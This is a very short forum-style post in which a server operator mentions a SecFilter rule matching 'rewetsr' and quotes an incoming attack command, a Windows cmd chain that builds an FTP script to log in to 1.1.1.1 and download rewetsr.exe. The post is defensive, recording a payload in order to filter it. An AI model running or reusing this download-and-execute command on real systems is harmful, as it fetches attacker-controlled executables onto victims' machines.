[kule]

I was using

SecFilter "rewetsr"

This is the command that was coming through (after a load of unicode characters):

cmd /c echo open 1.1.1.1 21 > o&echo user 1 1 >> o &echo get rewetsr.exe >> o &echo quit >> o &ftp -n -s'